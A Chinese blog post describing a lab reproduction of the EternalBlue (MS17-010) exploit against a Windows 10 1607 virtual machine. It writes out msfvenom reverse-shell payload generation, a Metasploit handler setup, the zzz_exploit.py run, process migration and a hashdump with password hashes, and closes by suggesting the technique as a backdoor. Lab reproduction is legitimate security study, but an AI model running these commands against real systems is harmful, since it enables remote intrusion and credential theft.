永恒之蓝Windows10版踩坑复现

本文涉及的产品
云防火墙,500元 1000GB
简介: 永恒之蓝Windows10版踩坑复现

1. 背景介绍


永恒之蓝(ms17-010)通过TCP端口445139来利用SMBv1NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

参考:https://www.freebuf.com/vuls/349281.html

本文有其他师傅的帮助,感谢各位师傅。

其实永恒之蓝这个漏洞影响的范围非常广,大致有以下类型:

Windows 2016 x64
Windows 10 Pro Vuild 10240 x64
Windows 2012 R2 x64
Windows 8.1 x64
Windows 2008 R2 SP1 x64
Windows 7 SP1 x64
Windows 2008 SP1 x64
Windows 2003 R2 SP2 x64
Windows XP SP2 x64
Windows 8.1 x86
Windows 7 SP1 x86
Windows 2008 SP1 x86
Windows 2003 SP2 x86
Windows XP SP3 x86
Windows 2000 SP4 x86

相关的cve有:CVE-2017-0145、CVE-2017-0146、CVE-2017-0147、CVE-2017-0148

基本上我们搜索永恒之蓝漏洞复现,99%的师傅选择的都是Windows7或者Windows server2008,因为这两个系统复现的成功了将近100%(在存在漏洞的情况下),复现的前提条件是:

  • 关闭防火墙
  • 关闭杀软(当然win708本身不带有任何杀软)
  • 确认445端口开放

但是在上述列表中,该漏洞甚至还影响Windows10Windows server2016等,所以在这里复现的时候,查找了很多资料,只在YouTube上看到部分复现的视频,上面复现使用的是Windows server2016 standard Evaluation版本,后来我们尝试使用非常多的镜像版本去尝试复现:

其中有一个Windows10 pro英文版,其他师傅短暂复现成功过一次之后,其他均失败。


2. Windows10 1607版本漏洞复现


后来经过曾哥师傅的指点,在Windows10 15111607的版本上可能存在漏洞,并且他在1607版本上复现成功,经过整理发现,复现成功需要以下条件:

  • 关闭Windows defender
  • 禁止Windows10更新
  • 关闭防火墙
  • 在本地计算机策略里面,修改本地策略的安全选项,设置可匿名访问的共享
  • 使用老版本msf或者使用工具自己跑


2.1 msf新版

攻击机:mac10.30.1.214

靶机:Windows10虚拟机 1607版本192.168.135.28

当然啦,我们先按照新版本msf6和不关闭组策略的情况下进行测试,先安装了一个1607版本的镜像虚拟机:

ed2k://|file|cn_windows_10_multiple_editions_version_1607_updated_jul_2016_x64_dvd_9056935.iso|4347183104|35EA5DB0F3BB714F5CE0740FB89D82D1|/

先关闭其他的杂项,关闭Windows defender

关闭防火墙等,不设置可匿名访问的共享,在这里查看ip和版本信息:

使用msf6来进行测试:


使用第一个进行测试,在这里面的第二个2023的那个,是老版本msf5里面的,是我自己加上去的,后续再说:

在这里发现,无论如何run,都会存在一个错误,这是网络连接错误,在这里就按照上面师傅的要求设置可匿名访问的共享,再跑:

在这里设置为\,保存之后再跑一下:

这次没有错误了,但是你无论如何run,会话就回不来,看下当前模块支持的系统类型:

当前是支持这里面的win10的,可能是系统不对的问题,如果使用老版的msf来执行的话,其实可以直接弹回来的,在这里借用橘子师傅的截图:

当然如果将msf5版本的模块直接放到msf6里面使用的话,会因为一些问题发生报错,可能是因为版本的问题:


2.2 工具版


攻击机:mac10.30.1.214靶机:Windows10虚拟机 1607版本 192.168.135.28

如果不使用msf的话,在这里参考以下师傅的文章,利用工具来进行复现,当然前提依旧是需要设置可匿名访问的共享:

https://blog.csdn.net/shuryuu/article/details/121159254

工具地址:

https://github.com/worawit/MS17-010

2.2.1 检测永恒之蓝漏洞

github上工具下载到本地之后,先试用脚本检测下是否存在永恒之蓝漏洞,在这里使用Python2

python checker.py 192.168.135.28

上图是正常的,如果是不正常的会显示:

当前如果再执行exp的话,会失败。


2.2.2 漏洞利用

首先生成一个exe,等会回弹到本地来:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.30.1.214  LPORT=7788  -f  exe  -o  7788.exe

另外一侧,打开msf,准备接收会话:

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp 
set lhost 10.30.1.214 
set lport 7788
run

打开刚下载的代码中的zzz_exploit.py文件,注释以下几行:

取消注释以下几行,并修改其中的文件:

在这里注意:第一个7788.exe是要和你的脚本在同一个文件夹下,如果不在的话,可以写其他的绝对路径,比如:/tmp/1.exe,如果永恒之蓝漏洞执行成功的话,就会将这个文件传到靶机的C盘下,文件名就是7788.exe。修改好之后,准备执行:

python zzz_exploit.py  192.168.135.28 netlogon(这个可以不带)

此时会话就弹回来了:

此时尝试抓取hash

显示无法抓取,应该是进程问题,将进程由x86的迁移至x64的应该就可以了,查看下当前的进程:

meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getpid
Current pid: 5616
meterpreter > ps

将当前的进程迁移至session0,权限是systemx64的进程上来:

迁移到308上:

meterpreter > migrate 308
[*] Migrating from 5616 to 308...
[*] Migration completed successfully.
meterpreter > hashdump
admin:1000:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

再进行解密即可:


2.3 影响Windows10漏洞的因素

其实在上面2.2执行的时候,有些步骤配置了,但是依旧失败:

  • 关闭Windows defender
  • 禁止Windows10更新
  • 关闭防火墙
  • 在本地计算机策略里面,修改本地策略的安全选项,设置可匿名访问的共享

但是在重启之后,就可以了,在这里经过测试发现,设置可匿名访问的共享是当前Windows10版本利用的必要条件。如果以上还不能成功,可以尝试开启3389,允许任何人访问。

并在本地安全策略中,关闭以下选项,重启之后再测试:


3. 总结


本次Windows10版本的永恒之蓝漏洞,理论上利用比较苛刻,需要手动配置,所以在实战中,基本上没有太大用处,但是不妨可以作为后门的一种。

相关文章
|
安全 Linux 网络安全
MS17-010永恒之蓝漏洞利用,win32安装,windows 7 32位(一)
MS17-010永恒之蓝漏洞利用,win32安装,windows 7 32位
MS17-010永恒之蓝漏洞利用,win32安装,windows 7 32位(一)
|
安全 Shell Linux
MS17-010永恒之蓝漏洞利用,win32安装,windows 7 32位(二)
MS17-010永恒之蓝漏洞利用,win32安装,windows 7 32位
MS17-010永恒之蓝漏洞利用,win32安装,windows 7 32位(二)
|
1月前
|
网络安全 虚拟化 Windows
windows 11安装openSSH server 遇到的"kex_exchange_identification: read: Connection reset"问题
windows 11安装openSSH server 遇到的"kex_exchange_identification: read: Connection reset"问题
|
2月前
|
PHP Windows
【Azure App Service for Windows】 PHP应用出现500 : The page cannot be displayed because an internal server error has occurred. 错误
【Azure App Service for Windows】 PHP应用出现500 : The page cannot be displayed because an internal server error has occurred. 错误
|
2月前
|
开发框架 .NET API
Windows Server 2022 安装IIS 报错 访问临时文件夹 C:\WINDOWS\TEMP\3C 读取/写入权限 错误: 0x80070005
Windows Server 2022 安装IIS 报错 访问临时文件夹 C:\WINDOWS\TEMP\3C 读取/写入权限 错误: 0x80070005
86 0
|
2月前
|
Linux Docker Windows
Windows——Docker拉取Windows Server镜像
Windows——Docker拉取Windows Server镜像
111 0
|
3月前
|
弹性计算 持续交付 Docker
阿里云云效产品使用合集之如何部署到阿里云服务器上的 Windows Server 上的 IIS
云效作为一款全面覆盖研发全生命周期管理的云端效能平台,致力于帮助企业实现高效协同、敏捷研发和持续交付。本合集收集整理了用户在使用云效过程中遇到的常见问题,问题涉及项目创建与管理、需求规划与迭代、代码托管与版本控制、自动化测试、持续集成与发布等方面。
|
3月前
|
网络协议 Unix 网络安全
FTP服务器怎么搭建?Windows server搭建FPT服务器
FTP服务器是按照FTP协议提供文件传输服务的计算机。它用于在两台计算机间安全地传输文件,支持用户权限管理和跨平台操作。FTP使用控制连接处理命令,数据连接传输文件,有PORT和PASV模式。要搭建FTP服务器,首先在Windows Server 2008 R2上安装IIS,确保选中FTP服务。接着,创建FTP文件夹作为站点根目录,通过IIS管理器添加FTP站点,配置站点信息、身份验证和权限。测试客户端通过telnet和浏览器访问FTP服务器,确认能成功登录及浏览文件。FTP常用于文件共享和管理,可通过专用工具如FlashFXP上传下载文件。
121 0
FTP服务器怎么搭建?Windows server搭建FPT服务器
|
4月前
|
编解码 安全 网络安全
RealVNC的 VNC server在windows7系统下无法正确运行
在Windows 7上运行旧版VNC Server(如4.1.2)可能存在兼容性问题,但可通过调整配置解决。步骤包括:安装VNC Server,设置兼容性模式(选择Windows XP SP3),启动VNC Server,配置VNC连接参数。若遇到问题,检查防火墙设置,确保系统更新,并考虑升级到新版VNC Server以提高性能和兼容性。
|
3月前
|
前端开发 JavaScript 应用服务中间件
windows server + iis 部署若伊前端vue项目
5,配置url重写规则(重写后端请求) 注:如果没有Application Request Routing Cachefourcloudbdueclaim和URL重写,则是第二部的那两个插件没装上 打开iis,点击计算机->点击Application Request Routing Cache -> 打开功能
183 0
下一篇
无影云桌面